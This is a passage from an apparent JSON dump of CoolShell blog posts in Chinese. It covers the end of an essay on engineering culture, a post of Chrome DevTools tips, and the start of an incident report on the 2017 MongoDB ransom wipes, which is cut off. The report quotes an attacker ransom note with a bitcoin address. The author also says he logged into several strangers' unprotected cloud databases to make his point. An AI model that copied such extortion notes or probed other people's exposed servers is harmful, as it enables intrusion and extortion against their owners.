href=\"https://coolshell.cn/articles/11432.html\" target=\"_blank\">从Code Review 谈如何做技术</a>》，关于严谨的测试，可以参看这篇文章《<a href=\"https://coolshell.cn/articles/17381.html\" target=\"_blank\">如何做性能测试</a>》</li>\n</ul>\n<ul>\n<li><strong>不断的提高标准以及招聘最好的人</strong>。取法其上，得乎其中，取法其中，得乎其下，取法其下，法不得也。如果一个公司或一个团队想变得越来越好，越来越强大的话，就必需要不断的提高自己的工作标准，提高工作标准意味着要不断地培养和招聘更好的人。在Amazon和Google的招聘官中都有一个叫Bar Rasier的人，这个人就是为了提高招聘标准而设立的。</li>\n</ul>\n<ul>\n<li><strong>创建一个持续改善的文化</strong>。一个好的组织，一个好的团队，是需要不断反思前进的，这需要全体员工一起来的。微观层面上，在项目做完后需要有一个总结会分析项目中的得失，在故障出现后，需要有故障分析会，反思得失，在Amazon，严重的故障，需要写一个COE（Correction of Errors）的文档，其中有一节叫“Ask 5 Whys”，让你自己问自己至少5个为什么。在宏观层面，一个公司每年都应该做一定的工作数据分析或是员工调查，比如，是否招聘到了不错的人、工作的投入产出比，员工在哪些地方花时间了，等等，然后不断的用技术手段来改善。（Amazon每年的工程师员工调查表是我活那么大见过的最细最细的调查表了， 问题除了对公司、经理、文化的，还有从，日常工作、开发环境、持结集成，测试自动化、产品质量、软件架构、软件维护、线上问题处理、年度计划、数据仓库建设、通用工具投票……这个员工调查直接导致公司的对工程的投资方向）</li>\n</ul>\n<h4>工程师文化如何落地</h4>\n<p>如果你要让任何文化在公司内得到执行，你有下面几个手段可以选择：</p>\n<ul>\n<li><strong>通过政治手段：你需要把住三个地方——招聘、绩效考核 &amp; 升职</strong>。比如，你要落地工程师文化中的简化和自动化，那你你在招聘的时候，你需要把懂简化和喜欢自动化的人招进来，然后在绩效考核和升职的地方设置上一条硬性指标——你今年简化了什么？自动化了什么？如果没有，对不起不但不能升职，绩效可能还不达标。</li>\n</ul>\n<ul>\n<li><strong>通过经济手段：让不做这事的成本 &gt; 要做这个的成本。</strong>然后，正常的人类都会选择成本低的方案。比如，如果你要推行Design/Code Review/UT以提高质量，你就把QA和OPS团队全挪到一边去，让Dev团队自己测试，自己负责，这样等这些Dev重复多次手动测试，处理多次线上的弱智故障，他们就会自然而然的写自动化测试和做Code Review了，而QA和OPS团队只是帮Dev你做工具罢了，而测试和运维的事全是你DEV的Ownership，出了故障也是Dev自己负责，于是，他们就会发现，不做Code Review和UT的成本远远大于做C Code Review/UT的成本，他们就会去做成本低的事的。</li>\n</ul>\n<p>最后，工程师文化要落地，还有几个小条件，</p>\n<ul>\n<li><strong>第一，团队要小，Ownership很重要，Eat Your Own Dog Food。</strong> 没有人帮你擦屁股，自己的屎自己吃，没有痛苦，不会产生想进步的动力。</li>\n</ul>\n<ul>\n<li><strong>第二，热爱学习和尝试</strong>，学习尝试新的技术，开拓眼界，学习尝试新的思维方式，否则，呆在原地，原有的思维方式只会让你在原地打转转。</li>\n</ul>\n<ul>\n<li><strong>第三，老板更多的相信技术而不是管理</strong>。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题。</li>\n</ul>\n<h4>其它</h4>\n<p>说了这么多，时代还在发展，不过，这是我这么多年经历或看到的工程师文化的东西了。最后吐几个槽——</p>\n<p>对于996和加班这个事，对于工程师来说从来都不是问题，在解决技术问题或是创造的时候，工程师是个很自觉的群体，基本不需要有别人驱动，工程师是最乐意Work Hard的人了。我相信几乎所有走上编程这个职业的人来说，基本上都是兴趣所至，觉得编程很有趣，但却被各个公司996搞得对编程毫无兴趣。为什么，你们这些公司要向中国的教育学习呢？人家本来对这事有比较高的兴趣的，但就是要通过考试/KPI/996这些东西把人家的兴趣一点一点的磨灭掉，把人变成机器、奴隶、牲口，<strong>让人对学习和工作产生了厌倦和讨厌，会是你们这些管理者们所希望的？是不是只有把人变得不思进取了，你们才会管理？</strong>就像《<a href=\"https://coolshell.cn/articles/4951.html\" target=\"_blank\">软件开发中的两种管理方式</a>》中说的第一种人一样？</p>\n<p>另外，我不知道，为什么我一说这些东西，就会有很多人（包括程序员自己）来和我说我是个理想主义者，这些已经不是什么理想了，已被很多成功的公司用了很多很多年了。只是你没有见到过罢了。还有的人说，因为中国的国情不同。这更让我费解了。这让我想到了当年大清朝派了一堆人出国考察后回来后，说外国的那套共和的东西不符合中国国情，最终也在历史的潮流中被淹没掉了。另外，什么叫“中国的国情不同”？中国有全世界数一数二的互联网用户，也有全世界数一数二的市场，不再是以前那个一穷二白的年代了，中国的国情到底有哪些不同呢？</p>\n<p>我不知道各位工程师是为什么活的？但我觉得，<strong>我们选择了一个刺激的职业，也赶上了这个行业大发展的时代，我们不妨扪心自问一下，你是否愿意让自己的能力、青春和热情就这样被磨灭了？</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/9156.html\"><img alt=\"《Rework》摘录及感想\" height=\"150\" src=\"../wp-content/uploads/2013/03/rework-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11432.html\"><img alt=\"从Code Review 谈如何做技术\" height=\"150\" src=\"../wp-content/uploads/2014/04/code_review-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/5686.html\"><img alt=\"多些时间能少写些代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/4951.html\"><img alt=\"软件公司的两种管理方式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11656.html\"><img alt=\"开发团队的效率\" height=\"150\" src=\"../wp-content/uploads/2014/06/software_development-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11656.html\">开发团队的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/10217.html\"><img alt=\"加班与效率\" height=\"150\" src=\"../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/10217.html\">加班与效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17497.html\">什么是工程师文化？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-1-19 Chrome开发者工具的小技巧.html",
    "content": "<html><body><p>Chrome的开发者工具是个很强大的东西，相信程序员们都不会陌生，不过有些小功能可能并不为大众所知，所以，写下这篇文章罗列一下可能你所不知道的功能，有的功能可能会比较实用，有的则不一定，也欢迎大家补充交流。</p>\n<p>话不多话，我们开始。</p>\n<h4>代码格式化</h4>\n<p>有很多css/js的代码都会被 minify 掉，你可以点击代码窗口左下角的那个 <strong><code>{ }</code></strong>  标签，chrome会帮你给格式化掉。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-17640\" height=\"319\" src=\"../wp-content/uploads/2017/01/pretty-code.gif\" width=\"707\"/></p>\n<p><span id=\"more-17634\"></span></p>\n<h4>强制DOM状态</h4>\n<p>有些HTML的DOM是有状态的，比如&lt;a&gt; 标签，其会有 active，hover， focus，visited这些状态，有时候，我们的CSS会来定关不同状态的样式，在分析网页查看网页上DOM的CSS样式时，我们可以点击CSS样式上的 <strong><code>:hov</code></strong> 这个小按钮来强制这个DOM的状态。</p>\n<p> </p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-17641\" height=\"331\" src=\"../wp-content/uploads/2017/01/state.gif\" width=\"853\"/></p>\n<p> </p>\n<h4>动画</h4>\n<p>现在的网页上都会有一些动画效果。在Chrome的开发者工具中，通过右上角的菜单中的 <code>More Tools</code> =&gt; <code>Animations</code> 呼出相关的选项卡。于是你就可以慢动作播放动画了（可以点选 <code>25%</code> 或 <code>10%</code>），然后，Chrome还可以帮你把动画录下来，你可以拉动动再画的过程，甚至可以做一些简单的修改。</p>\n<p> </p>\n<p><img class=\"aligncenter wp-image-17637\" height=\"723\" src=\"../wp-content/uploads/2017/01/animation.gif\" width=\"442\"/></p>\n<h4>直接编辑网页</h4>\n<p>在你的 console 里 输入下面的命令：</p>\n<p><code class=\"EnlighterJSRAW\">document.designMode = \"on\" </code></p>\n<p>于是你就可以直接修改网页上的内容了。</p>\n<p>P.S. 下面这个抓屏中还演示了一个如何清空console的示例。你可以输入 clear() 或是 按 <code>Ctrl+L</code>（Windows下），<code>CMD + K</code> (Mac下)</p>\n<p><img class=\"aligncenter wp-image-17642\" height=\"328\" src=\"../wp-content/uploads/2017/01/editor.gif\" width=\"800\"/></p>\n<p> </p>\n<h4>网络限速</h4>\n<p>你可以设置你的网络的访问速度来模拟一个网络很慢的情况。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-17644\" height=\"319\" src=\"../wp-content/uploads/2017/01/custom-network-throttling-profiles.gif\" width=\"707\"/></p>\n<p> </p>\n<h4>复制HTTP请求</h4>\n<p>这个是我很喜欢 的一个功能，你可以在 network选项卡里，点击 XHR 过滤相关的Ajax请求，然后在相关的请求上点鼠标右键，在菜单中选择： <code>Copy</code> =&gt; <code>Copy as cURL</code>，然后就可以到你的命令行下去 执行 <code>curl</code> 的命令了。这个可以很容易做一些自动化的测试。</p>\n<p><img class=\"aligncenter wp-image-17645\" height=\"328\" src=\"../wp-content/uploads/2017/01/curl.gif\" width=\"800\"/></p>\n<p> </p>\n<p><strong>友情提示：这个操作有可能会把你的个人隐私信息复制出去，比如你个人登录后的cookie。</strong></p>\n<h4>抓个带手机的图</h4>\n<p>这个可能有点无聊了，不过我觉得挺有意思的。</p>\n<p>在device显示中，先选择一个手机，然后在右上角选 <code>Show Device Frame</code>，然后你就看到手机的样子了，然后再到那个菜中中选 Capture snapshot，就可以抓下一个有手机样子的截图了。</p>\n<p><img class=\"aligncenter wp-image-17646\" height=\"404\" src=\"../wp-content/uploads/2017/01/device.gif\" width=\"700\"/></p>\n<p>我抓的图如下（当然，不是所有的手机都有frame的）</p>\n<p><img class=\"aligncenter wp-image-17647 size-medium\" height=\"300\" src=\"../wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-148x300.png\" width=\"148\"/></p>\n<p> </p>\n<h4>设置断点</h4>\n<p>除了给Javascript的源代码上设置断点调试，你还可以：</p>\n<h5>给DOM设置断点</h5>\n<p>选中一个DOM，然后在右键菜单中选 Break on … 你可以看到如下三个选项：</p>\n<h4><img class=\"aligncenter wp-image-17665\" height=\"345\" src=\"../wp-content/uploads/2017/01/break.dom_-1024x708.png\" width=\"500\"/></h4>\n<h5>给XHR和Event Lisener设置断点</h5>\n<p>在 Sources 面页中，你可以看到右边的那堆break points中，除了上面我们说的给DOM设置断点，你还可以给XHR和Event Listener设置断点，载图如下：</p>\n<p><img class=\"aligncenter wp-image-17666\" height=\"491\" src=\"../wp-content/uploads/2017/01/breakpoints-834x1024.png\" width=\"400\"/></p>\n<h4>关于Console中的技巧</h4>\n<h5>DOM操作</h5>\n<ul>\n<li>chrome会帮你buffer 5个你查看过的DOM对象，你可以直接在Console中用 $0, $1, $2, $3, $4来访问。</li>\n</ul>\n<ul>\n<li>你还可以使用像jQuery那样的语法来获得DOM对象，如：<code>$(\"#mydiv\")</code></li>\n</ul>\n<ul>\n<li>你还可使用 <code>$$(\".class\")</code> 来选择所有满足条件的DOM对象。</li>\n</ul>\n<ul>\n<li>你可以使用 <code>getEventListeners($(\"selector\"))</code> 来查看某个DOM对象上的事件（如下图所示）。</li>\n</ul>\n<p><img class=\"aligncenter wp-image-17656\" height=\"223\" src=\"../wp-content/uploads/2017/01/events-geteventlisteners_expanded.png\" width=\"642\"/></p>\n<ul>\n<li>你还可以使用 <code>monitorEvents($(\"selector\"))</code> 来监控相关的事件。比如：</li>\n</ul>\n<p><code class=\"EnlighterJSRAW\">monitorEvents(document.body, \"click\");</code></p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-17661\" height=\"236\" src=\"../wp-content/uploads/2017/01/monitor-events-1024x378.png\" width=\"640\"/></p>\n<h5>Console中的一些函数</h5>\n<p><strong>1）monitor函数</strong></p>\n<p>使用 monitor函数来监控一函数，如下面的示例</p>\n<p><img class=\"aligncenter wp-image-17657 size-medium\" height=\"112\" src=\"../wp-content/uploads/2017/01/monitor-300x112.png\" width=\"300\"/></p>\n<p><strong>2）copy函数</strong></p>\n<p>copy函数可以把一个变量的值copy到剪贴板上。</p>\n<p><strong>3）inspect函数</strong></p>\n<p>inspect函数可以让你控制台跳到你需要查看的对象上。如：</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-17662\" height=\"287\" src=\"../wp-content/uploads/2017/01/inspect-1024x459.png\" width=\"640\"/></p>\n<p>更多的函数请参数官方文档 – <a href=\"https://developers.google.com/web/tools/chrome-devtools/console/command-line-reference\" target=\"_blank\">Using the Console / Command Line Reference</a></p>\n<h5>Console的输出</h5>\n<p>我们知道，除了<code>console.log</code>之外，还有<code>console.debug</code>，<code>console.info</code>，<code>console.warn</code>，<code>console.error</code>这些不同级别的输出。另外一个鲜为人知的功能是，<code>console.log</code>中，你还可以对输出的文本加上css的样式，如下所示：</p>\n<p><code class=\"EnlighterJSRAW\">console.log(\"%c左耳朵\", \"font-size:90px;color:#888\")</code></p>\n<p><img class=\"aligncenter wp-image-17651 size-medium\" height=\"92\" src=\"../wp-content/uploads/2017/01/console.log_-300x92.png\" width=\"300\"/></p>\n<p>于是，你可以定义一些相关的log函数，如：</p>\n<pre class=\"EnlighterJSRAW\">console.todo = function( msg){\n  console.log( '%c%s %s %s', 'font-size:20px; color:yellow; background-color: blue;', '--', msg, '--');\n}\nconsole.important = function( msg){\n  console.log( '%c%s %s %s', 'font-size:20px; color:brown; font-weight: bold; text-decoration: underline;', '--', msg, '--');\n}</pre>\n<p><img class=\"aligncenter wp-image-17652\" height=\"201\" src=\"../wp-content/uploads/2017/01/console.log2_-1024x411.png\" width=\"500\"/></p>\n<p>关于console.log中的格式化，你可以参看如下表格：</p>\n<table cellpadding=\"0\" cellspacing=\"0\" class=\"t1\">\n<tbody>\n<tr>\n<td class=\"td1\" valign=\"middle\">指示符</td>\n<td class=\"td2\" valign=\"middle\">输出</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%s</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个字符串变量。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%i or %d</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个整型变量的值。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%f</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个浮点数变量的值。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%o</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个DOM对象。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%O</td>\n<td class=\"td4\" valign=\"top\">格式化输出一个Javascript对象。</td>\n</tr>\n<tr>\n<td class=\"td3\" valign=\"top\">%c</td>\n<td class=\"td4\" valign=\"top\">为后面的字符串加上CSS样式</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<p>除了console.log打印js的数组，你还可以使用console.table来打印，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">var pets = [\n  { animal: 'Horse', name: 'Pony', age: 23 },\n  { animal: 'Dog', name: 'Snoopy', age: 13 },\n  { animal: 'Cat', name: 'Tom', age: 18 },\n  { animal: 'Mouse', name: 'Jerry', age: 12}\n];\nconsole.table(pets)</pre>\n<p><img class=\"aligncenter wp-image-17653\" height=\"214\" src=\"../wp-content/uploads/2017/01/console.table_-1024x438.png\" width=\"500\"/></p>\n<p> </p>\n<h4>关于console对象</h4>\n<ul>\n<li>console对象除了上面的打日志的功能，其还有很多功能，比如：</li>\n<li>console.trace() 可以打出js的函数调用栈</li>\n<li>console.time() 和 console.timeEnd() 可以帮你计算一段代码间消耗的时间。</li>\n<li>console.profile() 和 console.profileEnd() 可以让你查看CPU的消耗。</li>\n<li>console.count() 可以让你看到相同的日志当前被打印的次数。</li>\n<li>console.assert(expression, object) 可以让你assert一个表达式</li>\n</ul>\n<p>这些东西都可以看看<a href=\"https://developers.google.com/web/tools/chrome-devtools/console/console-reference\" target=\"_blank\">Google的Console API的文档</a>。</p>\n<p>其实，还有很多东西，你可以参看Google的官方文档 – <a href=\"https://developers.google.com/web/tools/chrome-devtools/\" target=\"_blank\">Chrome DevTools</a></p>\n<h4>关于快捷键</h4>\n<p>点击在 DevTools的右上角的那三个坚排的小点，你会看到一个菜单，点选 <code>Shortcuts</code>，你就可以看到所有的快捷键了</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-17669\" height=\"291\" src=\"../wp-content/uploads/2017/01/shortcuts-1024x466.png\" width=\"640\"/></p>\n<p>如果你知道更多，也欢迎补充！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-1-7 从 MongoDB “赎金事件” 看安全问题.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-sup_wechat_big wp-image-17621\" height=\"200\" src=\"../wp-content/uploads/2017/01/MongoDB-360x200.jpg\" width=\"360\"/>今天上午（2017年1月7日），我的微信群中同时出现了两个MongoDB被黑掉要赎金的情况，于是在调查过程中，发现了这个事件。这个事件应该是2017年开年的第一次比较大的安全事件吧，发现国内居然没有什么报道，国内安全圈也没有什么动静（当然，他们也许知道，只是不想说吧），Anyway，让我这个非安全领域的人来帮补补位。</p>\n<h4>事件回顾</h4>\n<p>这个事情应该是从2017年1月3日进入公众视野的，是由安全圈的大拿 Victor Gevers （网名：<a href=\"https://twitter.com/0xDUDE\" target=\"_blank\">0xDUDE</a>，<span class=\"js-display-url\"><a class=\"twitter-timeline-link\" dir=\"ltr\" href=\"http://GDI.foundation\" rel=\"nofollow noopener\" target=\"_blank\" title=\"http://GDI.foundation\">GDI.foundation</a> </span>的Chairman），其实，他早在2016年12月27日就发现了一些在互联网上用户的MongoDB没有任何的保护措施，被攻击者把数据库删除了，并留下了一个叫 WARNING 的数据库，这张表的内容如下：</p>\n<pre><code class=\"language-sql\">{\n    \"_id\" : ObjectId(\"5859a0370b8e49f123fcc7da\"),\n    \"mail\" : \"harak1r1@sigaint.org\",\n    \"note\" : \"SEND 0.2 BTC TO THIS ADDRESS 13zaxGVjj9MNc2jyvDRhLyYpkCh323MsMq AND CONTACT THIS EMAIL WITH YOUR IP OF YOUR SERVER TO RECOVER YOUR DATABASE !\"\n}</code></pre>\n<p>基本上如下所示：</p>\n<p><span id=\"more-17607\"></span></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_17609\" style=\"width: 646px;\"><img alt=\"MongoDB ransom demand (via Victor Gevers)\" class=\"size-full wp-image-17609\" height=\"332\" src=\"../wp-content/uploads/2017/01/MongoDB-ransom.png\" width=\"646\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-17609\">MongoDB ransom demand (via Victor Gevers)</figcaption></figure>\n<p>说白了就是黑客留下的东西——<strong>老子把你的MongoDB里的数据库给转走了，如果你要你的数据的话，给我0.2个的比特币（大约USD200）</strong>。然后，他的twitter上不断地发布这个“赎金事件”的跟踪报道。与此同时，中国区的V2EX上也发现了相关的攻击问题 《<a href=\"https://www.v2ex.com/t/331887\" target=\"_blank\">自己装的 mongo 没有设置密码结果被黑了</a>》</p>\n<p>然后，在接下来的几天内，全球大约有1800个MongoDB的数据库被黑，这个行为来自一个叫 Harak1r1 的黑客组织（这个组织似乎就好黑MongoDB，据说他们历史上干了近8500个MongoDB的数据库，几乎都是在祼奔的MongoDB）。</p>\n<p>不过，这个组织干了两天后就停手了，可能是因为这事已经引起了全球科技媒体的注意，产生了大量的报道（如果你在Google News里查一下“<a href=\"https://www.google.com/webhp?sourceid=chrome-instant&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=mongodb+ransom&amp;newwindow=1&amp;tbm=nws\" target=\"_blank\">mongodb ransom</a>”，你会看到大量的报道（中文社区中，只有<a href=\"https://unwire.pro/2017/01/05/2000-mongodb-ransom/security/\" target=\"_blank\">台湾有相关的报道</a>）），他们也许是不敢再搞下去了。</p>\n<p>不过，很快，有几个copycats开始接着干，</p>\n<p>马上跟进的是 own3d ，他们留下的数据库的名字叫 WARNING_ALERT，他们至少干掉了 930个MongoDB，赎金0.5个比特币（USD500），至少有3个用户付费了</p>\n<p>然后是0704341626asdf，他们留下的数据库名字叫PWNED，他们至少干掉了740个MongoDB，赎金0.15个比特币（USD150），看看他们在数据库里留下的文字——<strong>你的MongoDB没有任何的认证，并且暴露在公网里（你TMD是怎么想的？）……</strong></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_17610\" style=\"width: 616px;\"><img alt=\"0704341626asdf group ransom note (via Victor Gerves)\" class=\"size-full wp-image-17610\" height=\"236\" src=\"../wp-content/uploads/2017/01/MongoDB-Group-3.jpg\" width=\"616\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-17610\">0704341626asdf group ransom note (via Victor Gerves)</figcaption></figure>\n<p>就在这两天，有两个新的黑客也来了</p>\n<ul>\n<li>先是kraken0，发现到现在1天了，干了13个MongoDB，赎金 0.1个比特币。</li>\n<li>然后是 3lix1r，发现到现在5个小时，干了17个MongoDB，赎金0.25比特币。</li>\n</ul>\n<p>BBC新闻也于昨天报道了这一情况——《<a href=\"http://www.bbc.com/news/technology-38521973\" target=\"_blank\">Web databases hit in ransom attacks</a>》，现在这个事情应该是一个Big News了。</p>\n<h4>关于MongoDB的安全</h4>\n<p>安全问题从来都是需要多方面一起努力，但是安全问题最大的短板就是在用户这边。这次的这个事，说白了，就是用户没有给MongoDB设置上用户名和口令，然后还把服务公开到了公网上。</p>\n<p>是的，这个安全事件，相当的匪夷所思，为什么这些用户要在公网上祼奔自己的数据库？他们的脑子是怎么想的？</p>\n<p>让我们去看一下Shodan上可以看到的有多少个在暴露在公网上而且没有防范的MongoDB？我了个去！<strong>4万7千个，还是很触目惊心的</strong>（下图来自我刚刚创建的 <a href=\"https://www.shodan.io/report/h0bgF6zM\" target=\"_blank\">Shodan关于MongoDB的报表</a>）</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-17614\" height=\"303\" src=\"../wp-content/uploads/2017/01/MongoDB_Shodan-1024x485.png\" width=\"640\"/></p>\n<p> </p>\n<p>那么，怎么会有这么多的对外暴露的MongoDB？看了一下Shodan的报告，发现主要还是来自公有云平台，Amazon，Alibaba，Digital Ocean，OVH，Azure 的云平台上有很多这样的服务。不过，像AWS这样的云平台，有很完善的默认安全组设置和VPC是可以不把这样的后端服务暴露到公有云上的，为什么还会有那么多？</p>\n<p><img class=\"aligncenter wp-image-17616\" height=\"403\" src=\"../wp-content/uploads/2017/01/MongoDB_Org.png\" width=\"650\"/></p>\n<p> </p>\n<p>这么大量的暴露在公网上的服务是怎么回事？有人发现（参看这篇文章《<a href=\"https://blog.shodan.io/its-the-data-stupid/\" target=\"_blank\">It’s the Data, Stupid!</a>》 ），MongoDB历史上一直都是把侦听端口绑在所有的IP上的，这个问题在5年前（2011年11月）就报给了MongoDB (<a href=\"https://jira.mongodb.org/browse/SERVER-4216\" target=\"_blank\">SERVER-4216</a>)，结果2014年4月才解决掉。所以，他觉得可能似乎 MongoDB的 2.6之前的版本都会默认上侦听在0.0.0.0 。</p>\n<p>于是我做了一个小试验，到我的Ubuntu 14.04上去 <code>apt-get install mongodb</code>（2.4.9版），然后我在<code>/etc/mongodb.conf</code> 文件中，看到了默认的配置是127.0.0.1，mongod启动也侦听在了127.0.0.1这台机器上。一切正常。不过，可能是时过境迁，debain的安装包里已加上了这个默认配置文件。不管怎么样，MongoDB似乎是有一些问题的。</p>\n<p>再到Shodan上看到相关的在公网裸奔的MongoDB的版本如下，发现3.x的也是主流：</p>\n<p><img class=\"aligncenter wp-image-17615\" height=\"410\" src=\"../wp-content/uploads/2017/01/MongoDB_Version.png\" width=\"650\"/></p>\n<p> </p>\n<p>虽然，3.x的版本成为了主流，但是似乎，还是有很多人把MongoDB的服务开到了互联网上来，而且可以随意访问。</p>\n<p><strong>你看，我在阿里云随便找了几台机器，一登就登上去了。</strong></p>\n<p><img class=\"aligncenter wp-image-17617\" height=\"587\" src=\"../wp-content/uploads/2017/01/MongoDB_Aliyun.png\" width=\"300\"/></p>\n<p>真是如那些黑客中的邮件所说的：WTF，你们是怎么想的？</p>\n<h4>后续的反思</h4>\n<p>为什么还是有这么多的MongoDB在公网上祼奔呢？难道有这么多的用户都是小白？这个原因，是什么呢？我觉得可能会是如下两个原因：</p>\n<p style=\"padding-left: 30px;\">1）一是技术人员下载了mongod的软包，一般来说，mongodb的压缩包只有binary文件 ，没有配置文件 ，所以直接解开后运行，结果就没有安全认证，也绑在了公网上。也许，MongoDB这么做的原因就是为了可以快速上手，不要在环境上花太多的时间，这个有助于软件方面的推广。但是，这样可能就坑了更多的人。</p>\n<p style=\"padding-left: 